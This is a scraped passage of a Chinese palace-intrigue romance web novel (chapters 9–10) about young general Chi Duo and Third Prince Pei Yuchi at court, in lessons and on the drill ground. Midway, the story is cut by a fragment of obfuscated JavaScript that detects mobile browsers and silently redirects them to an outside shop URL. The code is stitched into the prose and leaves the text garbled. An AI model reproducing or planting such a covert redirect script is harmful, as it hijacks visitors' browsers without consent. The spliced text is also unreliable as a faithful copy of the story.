这一句话落下,迟铎到嘴边的话,忽然就卡住了。他下意识又看了那盏灯一眼,心口猛地一跳。那一日,他原本没多想。只记得三殿下挑了这么一盏,递到他手中时神色如常,他还嫌这灯过分精巧,生怕一路颠簸给弄坏了。如今被人一句话点破,迟铎忽然有些站不住了。他当时究竟是随手一挑,还是……本就知道这灯的意思? 这个念头一生,热意便不受控制地涌上来,连指尖都微微发烫,迟铎忍不住侧头去看裴与驰。那人神色一如既往,目光只在水面停了一瞬,便移开了,像是没听见方才那句话,又像是早已听过千百遍。 偏偏越是如此,迟铎心跳愈乱。 两人逛至夜深,宫门将闭,裴与驰终须回宫。临别时,他送迟铎至将军府前,檐灯低垂,月色与灯影交叠,静静铺在阶前。 裴与驰忽然抬手。 指腹落在迟铎颊侧,轻轻一捏,并不用力,却停得极久。迟铎没有躲,也未出声,只站在那里,任由那只手停着,连呼吸都慢了半拍。 裴与驰垂眸看他。那一声声“狸奴”,本就是他私下里,独独唤他的称呼。可信中写得分明,为了这一句话,这人竟真跑去瞧了狼窝,连一窝里有几只,都数得清清楚楚。 这人……未免太当真了些。笨得紧,偏让人心软,也只好由着他。 良久,他才收回手。 “好生歇着。” 话音落下,裴与驰转身欲走,脚步已动,却又像是想起什么,低低唤了一声:“狸奴。” 迟铎立在原地,看着那架马车渐渐没入夜色。直到灯影尽头再无动静,脸颊被触过的地方,才一点一点热了起来。 回到房中时,他脚步都有些虚。一路上管家小厮的请安,一句也没听清,只胡乱应着,推门入内,反手合上。迟铎在门后站了许久,才慢慢抬手,轻轻碰了碰方才被捏过的地方,又很快放下,像是被烫了一下。 窗外残夏未尽,虫声细密。迟小将军的心,终究是没能静下来。 父亲所忧的长安诡谲多变,迟小将军尚未来得及见识;倒是三皇子殿下一举一动,先教他生出了几分少年未谙、近乎女儿家的心思。 9. 伴读 那边,塞外的迟将军整夜未曾合眼。 明日便是那小兔崽子面圣的日子。自家的崽子,他最清楚:嘴上没个把门的,天不服地不服;学识算不上渊博,却偏偏耳朵灵得很。含蓄的好话未必听得懂,拐着弯的坏话,却能一瞬就明白。若在殿上被哪位朝堂老狐狸激上一句,当场炸了毛,那才真是要命。想到这里,迟了了翻来覆去,更是睡不着。 而千里之外的长安,将军府内,迟小将军却睡得迷迷糊糊。梦里尽是些不能对外人言说的心思:河灯、捏脸,还有那声低低的“狸奴”。天色放亮时,他才勉强醒来,坐在榻上怔了片刻,耳根还残着点没散尽的热。 直到官服送进来,深色袍服铺展在案,纹样肃整,一下子便将他从梦里拽回了现实。调令与封赏,是一并送到军中的。诏书措辞温和,字字体面:既命迟铎即日入京,伴读三皇子;又翻出他幼年随军时的旧功,论功行赏,封靖武伯,授从五品羽林右郎将。诏中提及其十一岁那年,于塞外追敌斩首,称其少而有勇,宜近君侧,以示嘉奖。 那年塞外设伏,匈奴一名要员突围。几名亲兵护着人硬生生冲出迟家军合围,本以为已是死里逃生,却不想迟铎先一步纵马追出,一箭破空,正中其左臂,将人逼停在阵前。马蹄未歇,他已追至近前,一刀斩下,干脆利落。因年岁尚小,力气不足,副将赶到时,只见那少年立在血泊之中,低着头,双手用力,将刀从敌颈间一点点拔出,血喷溅在脸上,也未曾眨一下眼。 那一战之后,匈奴要员首级送入京中,朝廷震动,却迟迟未下封赏。圣上看完军报,既未斥责,也未嘉许,只命中书将此功如实记入军功册中,封存备查。迟家已是边镇重将,其父手握兵权,官至镇北大将军;深谙帝王之术者,自不会在此时再添一枚砝码。况且此前圣上已网开一面,让幼子留在身侧,而未即刻召入长安为质,已是天大的恩典。于是那份功劳便被压了下来,只在军功册上添了一笔,官籍之中,却始终没有迟铎的名字,静待局势生变,再行启用。 直到今日,塞北因粮而稳,朝堂因权而乱,旧账新账一并翻开。那封被压了多年的军功,终于被取了出来,写进诏书之中,成了最体面的由头。 迟铎这才有了官身。只是官身落在身上,人也必须留在京城;而有了官身之后,与三皇子的来往,反倒需得愈发谨慎。皇子尚未出阁时,结交几位无官无职的世家子弟,饮酒纵马,不过少年意气;可伴读不同,伴读之名列在章程之中,一举一动皆有定例:走得近了,是逾矩;走得远了,又是失职。更何况迟铎身负官身,又是边将独子:皇子可以与无官无职之人结交嬉游,却不能与这位写在官册上的伴读,显得过分亲近。 这道旨意,敲打的从来不止一个人。往返于塞北与长安之间的一封封书信,也尽在其中。 迟铎洗漱更衣。管家老王立在一旁,替他整理衣襟,手上细致,嘴里却没停过。这位老人一路跟着迟家军从塞北到长安,从小看着迟铎长大,如今将军不在身侧,便把那些叮嘱一字不落地替人搬了出来:殿上该如何站,话该怎么回,哪一句能接,哪一句要装作没听见,说得比往日操练还要仔细。絮叨到最后,语气低了下去,忍不住叹了一声:“殿上那些人,嘴上可不会留情。少将军……切记忍一忍。” 迟铎低低应了一声。 宫门口,昨晚那个梦中人已经在等着。 “休息好了?”裴与驰问。 迟铎抬眼望去,一时竟没能回神。玄色朝服在身,裁制贴合,衣料垂顺,暗纹在晨光里若隐若现;玉带束腰,佩饰低垂,举步从容。那点少年人惯有的懒散与漫不经心,像被衣冠一并收起,只余下端肃与威仪,站在那里,便自带三分压人。 ……怎么换了件衣裳,也还是这样。 裴与驰察觉到他的目光,偏头看他一眼,语气如常:“怎么?” “没事。”迟铎答得飞快。话出口才觉耳根微热。 裴与驰看了他一瞬,没拆穿,只唇角极轻地动了一下:“走吧。” 迟铎应了一声,跟上去。两人并肩而行,步子不紧不慢,既不刻意疏远,也不故作亲近。那些往返的书信早已被人翻过一遍,全是些无关紧要的闲话。此刻若再生分,倒像心虚;不如坦然些,任人看去,也不过是旧识同行。 朝会行至中段,诸事已议过大半。圣上合上折子,目光却未收回,反倒在殿中缓缓一转,落在右侧。 “景恒。” 裴与驰出列,俯身行礼:“儿臣在。” “你前些日子,常出入将军府?”语气像是随口一提,殿中却无端静了几分。 裴与驰神色未变,只道:“回父皇,靖武伯初入京中,府中诸事未备,儿臣不过命人照看一二。” “照看一二?”圣上笑了笑,“朕听内务司回禀,将军府修缮得倒是齐整,连旧年漏雨的檐角都一并换了。” 话音落下,清流一派已有几人对视;左相一派却明显提起了精神,目光一齐落向殿中。 裴与驰垂眸:“不敢当,是内务司依例行事。” 圣上“嗯”了一声,目光转向另一侧:“靖武伯。” 迟铎出列:“臣在。” “你可知此事?” “知。” “何时知的?” “入府当日。” “知是三皇子所为?” “知。” 三问三答,干脆利落。 圣上看着他,语气依旧温和:“既知是皇子费心,为何不辞?” 迟铎抬手一揖,答得极稳:“府邸本是朝廷所赐,修缮亦在例中。殿下代为过问,臣不敢多言。” 话说得圆滑,挑不出错。 圣上却像是兴致正起,忽然笑了一声:“既然你们在边境已有过命之谊,不如索性住得近些。靖武伯入居景桓的偏殿,也好作伴。” 这一句落下,殿中一时无声。右相眉心微动,清流中有人交换了眼神;左相一派的目光更是齐齐落向殿中二人,像是终于等到一处可供咀嚼的口子。 过命之谊,偏殿同居。 这话轻重难定。镇北大将军的独子,与风头正盛的三皇子,不止私交甚笃,还要同居一殿。如何应对,都足以被人反复咀嚼,翻来覆去地做文章。 迟铎抬手行礼:“陛下厚爱,臣不敢当。” “臣与三殿下确有旧谊,却也正因如此,更不敢坏了章程。”他略一停顿,语气仍旧恭谨,“伴读有制,居处亦有定例。臣既已入官籍,又系边将之子,若居偏殿,恐反生议论。” 圣上看着他,目光在他与裴与驰之间来回走了一遭,忽而笑了:“你倒是替朕把话都说完了。” 他摆了摆手,仿佛方才不过随口一提:“既如此,便仍照旧例。该怎么住,就怎么住。” 裴与驰这才抬手行礼:“父皇明断。” 圣上点了点头,不再多言,示意朝会继续。 迟铎退回原位,袖中指尖微微收紧,随即又松开。直到此刻,他才真正见识到何为天家威严。雷霆雨露,皆出君口;一句似笑非笑,便能令满殿风向骤变。 他忽然想起裴与驰方才立在殿中的模样:问答进退有度,分寸拿捏得极稳。那点情绪藏得太深,连眉目间都收得恰到好处,叫人挑不出半分错。 原来他……是在这样的地方长大的。 散朝的钟声落下,百官依序退出金殿。裴与驰走在前侧,迟铎跟在他身旁,隔着半步的距离,一路无言。行至宫门外侧,人声渐远,他脚步一缓,正要开口,抚一抚这头一回入朝、初入长安的野狸儿,却被人抢先一步。 “不许唤我狸奴!”声音压得极低,却凶得很,像是忍了一路,终于寻到机会把话掷出来。 裴与驰一怔,随即侧头看他。眼底那点从朝堂带出来的冷意,被这一句冲得干干净净。他唇角轻轻一动,又摇了摇头,像是真觉新鲜。 “稀罕。”他说,“狸奴竟不许人喊狸奴。” 迟铎没忍住瞪了他一眼,这会儿也顾不上周遭若有若无的目光了。 “我跟那种翻着肚皮晒太阳的才不一样。”他声线极轻,却字字咬实。 裴与驰脚步微顿,侧过脸看他,眉梢略挑:“哦?” “我会打仗,会骑马,会杀人。”迟铎越说越顺,像是把憋着的那口气一并倒了出来,“不翻肚皮,也不让人随便摸。” 裴与驰听到最后一句,终于低低笑出了声。 “可你看我的时候,与它们也无甚分别。”他语声压得极低,慢条斯理,“眼睛瞪得圆圆的,偏要逞凶,心思却半点藏不住,就差把陪我写在脸上。” 话说得轻,人却靠得近。 迟铎脚下一滞,呼吸不由乱了半拍,热意顺着颈侧直往上窜,连耳根都烧得厉害。 “你——”他张了张口,却终究没能把话说全,只得狠狠瞪了裴与驰一眼。 裴与驰却仿佛这才将人看仔细了,目光在他面上停了一瞬,语气忽而低了下来:“方才……可曾被吓着?” 迟铎一愣。 “殿上诸人,眼神杂了些。”裴与驰道,“头一回,总免不了。” 他略一停顿,又补了一句:“你应对得很好。” 寥寥数语,说得冷淡,却分明是在安抚。 迟铎:“……” 他一时说不出话来,只觉胸口那点原本已平复下去的动静,又悄然乱了节拍。 “也省了我不少心。”裴与驰语调一转,恢复了惯常的冷言冷语,像是嫌弃,又像是勉强认可,“狸奴今日,倒还算争气。” 果然。 迟铎在心底冷哼一声,自己就多余心软。 可那口自上朝起便憋在胸中的气,却不知不觉散了。他沉默片刻,终究没再多说什么,只别过脸去,低声丢下一句:“……不许当着人喊。”语气依旧生硬,却已然退让。 裴与驰应得极快:“待会儿入学馆,狸奴也当这般精神。” 实乃得寸进尺。 迟铎一时语塞,这才后知后觉地想起:伴读之职,并非虚名,书,是当真要读的。 天气正好,日头暖融融地晒在身上,最宜昏昏欲睡。偏偏大学士今日兴致极佳,一句“之乎者也”接一句“乎之者也”,声调不高,却自有规律,听得人眼皮发沉。 迟铎起初还勉强撑着,腰背挺得笔直,目光却已开始发虚。待一段经义拖得格外绵长,他脑袋一低,险些便要与案几来个照面。 就在这一瞬,一只手稳稳托住了他的额角。 迟铎一怔,还未完全回神,便被那点力道轻轻一推,重新坐直。那只手随即收回,干脆利落,仿佛什么都未曾发生。 这一点细微动静,却没逃过大学士的眼睛。 “靖武伯。”大学士声音不高,却点名点得极准,“方才所讲,可明白了?” 迟铎张了张口,脑中却是一片空白。阵图兵书他尚可倒背如流,这几句经义,却实在不是他的强项。 大学士眉头一拧,露出几分恨铁不成钢之色,当即转向另一侧:“三殿下,你来答。” 这是他的得意门生。 裴与驰闻言,目光先在迟铎身上略停,随即抬眼,却未作应答。 堂中一静。 大学士:“……” 片刻后,他冷笑一声,合上书卷:“好,好得很。” 结果自然不必多说。凡是没答出来的,皆被请出学馆,左拐入大学士府上开小灶。先是手心挨了几下戒尺,又焚香跪坐蒲团,老老实实诵读数遍文章,末了还被勒令回府罚抄,这才算了事。 雨来得极突然。方才尚只是天色发沉,转眼便是豆大的雨点砸落下来。檐下已站了不少人,书童来回奔走,一时间乱作一团。 迟铎站在廊外,被淋了个措手不及。他抬头看了眼天,眉头一皱,下一刻,便转身朝池边走去。 “你——”裴与驰刚要开口,人却已停住。 只见迟铎三两步跨到池畔,弯腰一捞,动作干脆利落,先扯下一片硕大的荷叶,嫌不够,又顺手薅了一片。水珠顺着叶脉滚落下来,他抖了抖,往头上一举,动作自然得不能再自然,另一片递到裴与驰面前,颇为仗义。 裴与驰:“……” 他看了看那片荷叶,又抬眼看了看池子,语气微妙:“你从哪儿取的?” 迟铎顺着他的目光一指,理直气壮:“那儿啊。殿下这是忽觉眼花?” 裴与驰沉默了一瞬,才缓声道:“这是大学士的爱物。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239947|197682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 迟铎低头看了看手里的荷叶,又抬头望了望天。雨势非但未歇,反倒愈下愈急,檐外水线已连成一片。 他“哦”了一声,语气十分诚恳:“那你不要是吧?” 说着,便把荷叶往自己这边挪了挪,认真道:“那我一个人遮。” 雨声哗啦啦落下来。 话虽如此,三皇子却没再多言,抬手便从他手里利索地抽走了另一片荷叶,动作快得很,像是怕自己下一刻真就被雨淋清醒了,生出该讲体统的念头。 两人便这样一人一叶,顶着雨往前走。 没走出几步,便正正撞上了人。大学士立在廊下,衣袍整肃,本欲出声唤人避雨,目光一抬,却先落在那两片荷叶上。 他:“……” 视线缓缓下移,又落到池中。那几株他亲手挑选、亲自布置、最为得意的荷株,此刻赫然空出两个极不风雅的缺口,水面微晃,怎么看都扎眼。 大学士一时竟没说出话来。 这荷池,是他耗了无数心血培育的景致。每至采莲时节,还要邀同僚泛舟其上,吟诗饮酒,自诩清雅。虽已近残夏,荷叶尚未尽黄,本还有最后一回风雅可期…… 结果诗未吟,酒未温,先被人顺手薅走,当了挡雨之物。 他看了看靖武伯,又看了看三殿下,唇角微动,终究还是把那句“不成体统”咽了回去。 这两位莽夫。 早知如此,这小灶,实在不该开。 廊外那两位,却仿佛浑然不觉。一人一叶,往头上一遮,步子便慢了下来。雨声落在叶面,噼啪作响,像是替人隔开了外头的纷乱。与周遭匆匆躲雨、低头疾走的人群一比,显得闲适得扎眼。府外的侍从们在背后跟得远远的。 方才殿上的敲打仿佛仍在耳边,可此刻并肩走着,却谁也没再提起。两人说话,不过是哪处石阶湿滑,哪一段路水浅些,偶尔一句插科打诨,便被雨声轻轻盖过去。你一句我一句,尽是些无关紧要的闲话,听着像少年意气,落不着半点正经。 荷叶上的水顺着叶脉滑落,滴在青石板上,溅起细碎的声响。 若有人远远瞧见,顶多只道他们走得近些;若有人更近些听,听到的也不过是“饿不饿”“冷不冷”“路滑别摔”之类。纵使记在册里,添油加醋也难,既无一句朝政可抓,也无一字抱负可扣,翻来覆去,皆是狐朋狗友的琐碎。 于是这一路落到谁的耳里,都只能是:两位好友雨中同行,闲话家常。 至于回去 迟小将军忽然慢了半步,说肚子饿了。这话说得理直气壮,脚下却半点要转回去的意思也没有。 三皇子侧头看了他一眼,神色不动,只一句:“那便在外头用些。”说完,便顺势改了方向。 落脚的仍是望北楼。 雨脚急,楼下茶客不多,侍从却在门外候得规矩,离得不近不远,恰好听不真、也不至于放肆。 与初次不同。那一回是三殿下不紧不慢地伺候人;今日却轮到迟铎忙得团团转:先抢着解了裴与驰的外氅,又亲手拧干袖口溅湿的水意,转身便去催热茶。递到他手边时,连杯沿都替他拭得干干净净,像怕烫着,又像怕怠慢。 裴与驰端着茶盏,眼皮都没抬:“你这是做什么?” 迟铎答得极快,乖巧得过分:“殿下淋着了。” 裴与驰淡淡“嗯”了一声:“少来。” 迟铎被戳穿也不恼,反倒更殷勤了些,竟真抬手替他捶起背来。那副模样,莫说被唤几声狸奴,便是再多几句冷言冷语,他也能笑着全接下。若非门外还有人候着,他几乎要翻肚皮卖乖给殿下看。 裴与驰终于抬眼,看了他一眼:“说吧,想赖什么。” 迟铎手下一顿,随即把力道放轻,低声道:“今日罚抄……实在抄不动。” 裴与驰嗤了一声:“你在塞外提刀时,也没见你喊累。” 迟铎被噎,偏偏这回不敢炸毛,只得把嗓子放软:“那不一样。那是要命的事;这是活活去半条命,比要命还难熬。” 他顿了顿,又把声音压得更软些:“殿下替我抄几页,好不好?” 裴与驰没立刻应,只垂眸啜了口茶,像是存心晾他一晾。 迟铎便索性豁出去了,指尖轻轻攥住他袖口,晃了晃。动作极小,偏偏赖得理直气壮:“我回去还是会抄的。殿下只替我抄一小段……求求了。” 裴与驰目光落在那只手上,停了停,却并未避开。半晌,才凉凉开口:“再晃,袖子要给你拽断了。” 话是嫌弃,偏偏连把袖口抽回去的意思都没有。 迟铎眼睛一下子亮了,忙道:“两页!不,三页行不行?殿下写得快,字也好看。” 裴与驰不上当:“一共就四页。” 迟铎立刻点头如捣蒜,话也软了:“我知道殿下最好。” 裴与驰“嗯”了一声,像是嫌他聒噪,指尖却终于放下茶盏:“拿来。” 他不说话的时候,迟铎便更乖。忙把纸卷与笔墨摆好,亲手研墨,研得极匀,连笔尖都替他理顺了,双手奉上,规规矩矩,仿佛慢一分,眼前这点恩准便要飞了。 裴与驰接过笔,落下第一字时,语气仍旧冷淡:“下回再敢在学馆打盹,就自己抄完。” 迟铎笑得极乖:“不敢了。” 嘴上应得顺,心里却在腹诽:还不是你……昨夜偏要说些不该说的,害得他一夜都没个清净,今日哪还撑得住那几句“之乎者也”。 他正腹诽着,裴与驰笔下不停,忽然开口:“狸奴,喂我。” 迟铎一怔,耳根立时热了,想瞪他一眼又不敢太凶,只压低声音:“你有手。” 裴与驰不抬眼,只把笔尖一顿,语气变得冷淡:“写着呢。” 迟铎:“……” 他咬着牙把茶盏递过去,动作却轻手轻脚,像怕烫着某人。杯沿凑近时,裴与驰终于抬眼看他一瞬,眸色很淡,却偏偏把人看得心口一跳。 “乖。”他低声道。 迟铎险些把杯子扣他脸上。 三皇子不愧是人中龙凤,落笔不过数行,竟把他的字学了个八九分像。迟铎在旁伺候得牙痒,偏偏心口又热得厉害:这人替他挡下这桩罚抄,竟也能周全至此。 10. 做个吕字 白日里同席听学,夜里各归朱门。学馆清幽,老学士的诵书声伴着檀板起落,那一遍遍“之乎者也”听得人神思倦怠。迟铎支着下颌,笔杆在指尖转出一道虚影,目光却不由自主地往身侧飘。身侧那人坐姿若松。裴与驰执笔批注,神色清冷,只在翻页的间隙,余光才会极快地扫过迟铎那张百无聊赖的脸。 下了学,宫门重锁,便是天家森严。偏有人不信邪,私下里的往来,全凭那一身少年意气。外人眼里,这是一对臭味相投的纨绔。密探呈上去的折子里,尽是些登不得大雅之堂的琐碎:今日在御园泥地里抱摔,明日为了一只蛐蛐争得面红耳赤。交起手来更是毫无章法,锁喉、绊马、下黑脚,专挑最不体面的招式,全无半点皇子与勋爵的风范。殊不知,那哪是什么打架,那是借着切磋的名义,行着触碰的私心。滚在草地上时,呼吸交错,汗津津的胸膛贴在一起,谁的心跳先乱了一拍,贴得近了,听得一清二楚。 这般不务正业的日子晃悠了月余。夜里,裴与驰常带着他穿行长安。望北楼的酒香、曲江池的夜色,一盏盏灯火照下来,迟铎身上那股塞北入关带来的陌生与疏离,也被一点点冲淡。他渐渐认全了长安的巷弄,也认熟了身侧这人的步子。 很快就到了赴任羽林卫的日子。前一日,麒麟服送到了将军府。裴与驰坐在旁边喝茶,像是在自家一般自在,看着迟铎换上那身新衣。不得不说,这一身赤黑官服一穿,少年原本的清瘦被衬得英挺逼人,腰封一束,宽肩窄腰,带着股凌厉的漂亮。裴与驰放下茶盏,瓷杯磕在桌上“哒”的一声。“明日去羽林卫了,”他明知故问,嘴角噙着点坏,“狸奴怕不怕?” 迟铎正低头整理护腕,闻言手上动作未停,只眉梢微微一挑。下一瞬,原本安分的少年骤然发难,脚下一滑,一记暗腿直取裴与驰下盘,快得只剩残影。裴与驰似早有所料,身形微侧,衣摆在风里划出一道从容的弧度,堪堪避过。 “殿下与其问臣怕不怕,”迟铎稳稳收势,唇角挑起一点嚣张的弧度,“不如先操心操心自己的下盘稳不稳。就羽林卫那些花架子,还不够臣热身的。” 裴与驰看着他那副张牙舞爪的模样,一本正经赞赏道:“吾狸奴,当有利爪。” 次日,校场风劲。迟铎一身麒麟服,虽收了几分塞北的野性,却仍被一众勋贵子弟看轻了去。有人按剑嗤笑,声音不大不小:“听说靖武伯在学馆连经义都背不全,这刀挂在腰间,怕是只能吓唬吓唬廊下的麻雀。” 迟铎解披风的手微顿,想起昨日那句“有利爪”,心头火起,面上却冷得像冰。“吓不吓得住麻雀未可知,”他随手将披风扔给校尉,语带寒霜,“但这一拳下去,足够叫人学会如何闭嘴。”话音未落,人已如离弦之箭。没有花巧招式,全是抱摔、绊腿、贴身下手——日日与裴与驰胡闹练出来的路数,用来收拾这些人,正好。 裴与驰今日特意讨了校场巡查的差事。他立在高台之上,负手而观。看那道黑色身影在人群中腾挪,如入无人之境。尘土飞扬,哀嚎四起。他站在高处,目光始终追随着那道身影,未曾移开半分。心里想着:狸奴果然还是在校场上最精神,平日里在学馆装乖,倒真委屈他了。 待尘土落定,他才缓步踱下石阶。“这就起不来了?”声音清冷,透着股不怒自威的寒意。地上横七竖八躺了一片,平阳侯家的小公子捂着乌青的眼眶,正欲叫骂,抬头见是三殿下,气焰顿消,只委屈道:“殿下……靖武伯出手太狠,分明是存了私怨……”迟铎正拍着袖口的灰,闻言眉头一皱,刚欲开口,便被裴与驰一道目光止住。 裴与驰睇视着地上那人,语气淡漠:“私怨?若真有私怨,此刻这校场之上,便不是听尔等哀嚎,而是等内侍来收尸了。”四下死寂。他转过身,一顶大帽子压下来:“羽林卫护的是社稷安危。今日一场切磋,倒叫吾开了眼,十余名世家子弟,竟连一人一招都接不住。传出去,皇家颜面何存?”众人面如土色。“既下盘虚浮,便由吾代父皇立一立规矩。”裴与驰拂袖道,“自明日起,凡今日倒地者,每日加练桩功两个时辰。站不稳,便不必当差了。” 言罢,他似是不经意地看了迟铎一眼,话锋微转:“靖武伯久在塞北,力道不知收敛,虽是切磋,却也失了分寸。若再有人妄言,除加练外,再去大学士处领一桩德行罚抄。” 好一个各打五十大板,生怕迟小将军学业进步,连罚抄都寻个由头给他免了。 处理完众人,裴与驰行至迟铎身侧。目光在他指尖那点因用力过猛而磨破的皮肉上停驻一瞬,随即收回,只低低道了一句:“跟上。” 迟铎跟在后头,小声嘀咕着“殿下好大的官威”,脚下却半步不离。 “狸奴,我让你别丢脸面,”这里没了外人,裴与驰声音里却染了点笑意,“你倒好,收拾几只麻雀也费这般功夫。看来昨夜那顿罚抄,是没长记性。” 迟铎一听便有些炸毛,凑近了压低声音:“你哪只眼睛见我慢了?这麒麟服又沉又累赘,若换了轻甲,早结束了。” 裴与驰未置可否,脚步不停。 迟铎越想越气不过,索性快走两步拦在他身前,强词夺理:“你既嫌我慢,不如你穿上这身皮试试?” 裴与驰这才驻足,垂眸看着眼前这只炸毛的狸奴,慢条斯理道:“那下次若是受罚,挨戒尺的时候,我可就不陪你了。” 这一句,便像捏住了猫的后颈皮。往日里两人闯祸,无论多重,裴与驰总是陪他一同受着。若只留他一人……迟铎气势瞬间弱了下去,竖起的刺也软了。 他站在原地,半晌才低低唤了一声:“……殿下。” 裴与驰没应。 迟铎抿了抿唇,声音更低了些:“是我学艺不精。” 还是没动静。 少年终是别别扭扭地服了软,声音小得像蚊子哼,却带着股执拗:“……我会好生练的。” 裴与驰终于侧过身来。 迟铎盯着他的眼睛,像是下定了什么决心,小声补了一句:“罚抄也好,戒尺也罢……你得陪我。” 裴与驰忽然抬手。修长的指节曲起,在他挺翘的鼻尖上轻轻一刮,动作极快,如蜻蜓点水:“怎这般会耍赖。” 迟铎当场僵住,脸色一下子红透,几乎与晚霞连成一片。这人总是这样,白日里一句话、一个动作就能叫他心口发紧,偏偏还装作若无其事。迟铎捂着鼻子,看着裴与驰的背影,心跳如雷。这下完了。今夜回去,怕是又要对着窗外月色,辗转难眠了。 此后,日子便如水墨画卷般徐徐铺展。下了早朝便入学馆,偶尔被点名去羽林卫校场操练,或轮值守卫;得空了,便随三殿下出宫,或策马沿城巡夜,或去茶楼听书说史。比起塞北那些单调的风沙与血腥,这样的日子,当真是难得的逍遥。 长安的风雅,也是在这时慢慢撞进眼里的。 一日下学,学馆中几位皇子与勋贵子弟相约去听曲。说是城南新来了位清倌人,抚琴一绝,众人相约去饮酒作诗、接龙行令,只为图个风流雅致。这些是塞北没有的热闹,迟铎听了一耳朵,脚步不由自主地慢了半拍,眼神往那边飘了一下。话还没出口,便被人冷冷截了胡。 “他随我有事。”裴与驰站在一旁,负手而立,语气不容商量。邀约的人一愣,见是这位素来不合群的三殿下,当即识趣地笑笑,拱手作罢。 迟铎也没多想。他本就更愿意跟着裴与驰,尤其是那种不必上课、不必练武,只有两个人在一处的时辰,比什么风雅都要紧。 只是这一日,裴与驰的兴致却显得有些怪。出了学馆,一路走得极快,平日里的闲话也少了。迟铎跟在旁边,几次想开口,见他那副生人勿近的冷脸,又只好把话咽了回去。 行至市集,华灯初上。迟铎经过一处首饰摊,脚步微微一缓,目光随意扫过摊上那些琳琅满目的簪环。也没看清卖的是什么,只是纯粹被那光亮晃了下眼。 “迟小将军。”裴与驰忽然开口,语气冷漠。 迟铎回头:“嗯?” “清风馆里的姑娘,”裴与驰目视前方,连余光都懒得分那摊子半分,“瞧不上这等路边摊的寒酸簪子。要讨人欢心,得舍得下本钱。”他顿了顿,语气更冷了几分,带着点讥诮,“迟小将军素来精打细算,请客也只肯请清汤面。这等风流韵事,还是莫要妄想了。” 迟铎:“?” 这人怎么忽然翻起旧账?那清汤面不是怕他忘了自己吗?还有这清风馆又是哪门子去处? 裴与驰瞥了他一眼,语气愈发冷硬:“怎么,迟小将军敢起这份心思,还不许旁人提?是想着在兴头上让人喂你吃酒,还是想倚在谁膝头,听人替你念那些软绵绵的行酒令?” 迟铎愣了一瞬,随即脱口而出:“我连你说的那劳什子清风馆门朝哪儿开都不知道,更别提什么姑娘了!”话一出口,迟铎自己先顿住了。不对。这人方才那几句话,说得也太顺畅了些。什么喂酒,什么膝头,什么行酒令,一样不落,连人家嫌弃什么样的簪子都门儿清。迟铎脸色一点点沉下来,胸口那股无名火腾地一下便烧了起来。 “殿下倒是熟门熟路。”他冷笑一声。 裴与驰脚步未停,只回了一句:“听人说的。” “听谁说的?”迟铎紧追不舍。 “记不清了。” 迟铎:“……” 他盯着裴与驰挺拔的背影看了片刻,忽然觉得刺眼得很。“吴义先前还说皇子私财拮据,我当时竟也信了。”迟铎越说越恼,语气里带了酸,“如今看来,银子原来都拿去送人首饰了。怪不得。” 话一出口,迟铎自己先被这念头气得发昏。怪不得日日拉着他逛长安,怪不得对城中巷陌熟得很。原来不是没处花钱,而是早将银子用在了别处。至于他自己,不过是人家闲来无事、顺手逗弄的消遣罢了。想到那一句句亲昵的“狸奴”,迟铎只觉心口堵得发紧。脚下一停,转身便走,恨不得当场与这位风流的三殿下划清界线,桥归桥,路归路。 刚迈出一步,袖口便被人一把攥住。迟铎一时未能挣开,回头瞪他:“放手!” 裴与驰没有松开,手劲反倒更重,只冷冷看着他:“你要去哪?” “与你无关。”迟铎气得炸毛,“我不陪你逛了,也不听你那些——” 话未说完,人已被一股大力拽进旁侧一条偏僻的暗巷。市集的喧嚣瞬间被隔绝在外,灯影昏暗,裴与驰将他抵在墙上,气息逼近。 “那些,我未曾做过。”裴与驰打断他。 迟铎一噎:“你还想抵赖?” “我未送过人首饰。”裴与驰盯着他的眼睛,一字一句道,“也未被人喂过酒,更未倚过谁的膝。” 迟铎冷笑:“那你怎会说得这般清楚?” 连人家姑娘嫌弃什么样的簪子都门儿清。 裴与驰顿了顿,神色如常,出卖得干脆利落:“学馆里日日有人说。” “谁?” “五皇弟。”裴与驰想了想,又慢条斯理地补了一句,“还有你左手边那个静远侯世子。他最爱看艳词,昨夜刚被大学士罚抄了二十遍《礼记》。” 迟铎:“……” 那静远侯世子,确实是个不着调的。 他狐疑地转过头:“所以你方才那些话……全是听他们胡吹的?” “嗯。” “那清风馆呢?” “也是他们说的。”裴与驰答得理直气壮,“我记性好。” 迟铎被这句理直气壮的“记性好”噎住了。确实,这人看兵书舆图都能过目不忘,记几句纨绔子弟的风流混账话,自然也不在话下。他一时竟觉得这话说得有理有据,竟无从反驳。 见他哑了火,裴与驰这才松开手,退后半步,目光却仍锁着他:“你听他们说这些,当真未曾动过心思,想去凑个热闹?” 迟铎一愣:“关我什么事。”目光却微微游移,“我又不喜欢那些。” 裴与驰点头:“我也是。” 说罢,他未再多作解释,转身便往巷口走去,步子不紧不慢,仿佛方才将人按在墙上的不是他,那番争执也从未发生过。 迟铎站在原地,看着他的背影,只觉心里别扭得很。这算什么?一句“我也是”便了结了?偏生这话越琢磨越不对劲。他在原地停了片刻,终究没忍住,快步追了上去,跟在他身后压低声音问:“那你方才阴阳怪气什么?” 裴与驰脚步一顿,侧过头来看他,似笑非笑:“若不诈你一回,又怎知迟小将军气性这般大,竟为了几句莫须有的风流债,便要割袍断义?” 迟铎:“……” 心思被当场点破,脸上顿时一热。他先移开视线,盯着路边石缝,小声嘟囔:“谁让你乱说……谁听了不气。” 裴与驰轻轻“嗯”了一声,又慢悠悠补了一句:“好没良心的狸奴。吃的用的,哪样不是往你手里送?转头便先疑我银钱用错了地方,还替我把风流债都想齐全了。” 话虽如此,他眼角眉梢却尽是愉悦。 迟铎看在眼里,心中那点残余的火气忽然散了个干净。他闷头走了两步,才憋出一句:“……你再这般胡说八道,我真不理你了。” 话一出口,他自己先觉不对。这语气,倒像是无意间露了软。 偏生旁边的人接得极快:“那你现在还理吗?” 迟铎:“……” 没有作声。 裴与驰却凑近了些,低声道:“你若肯理我,吃过饭,我带你去个地方。” “哪儿?” “去了便知。” 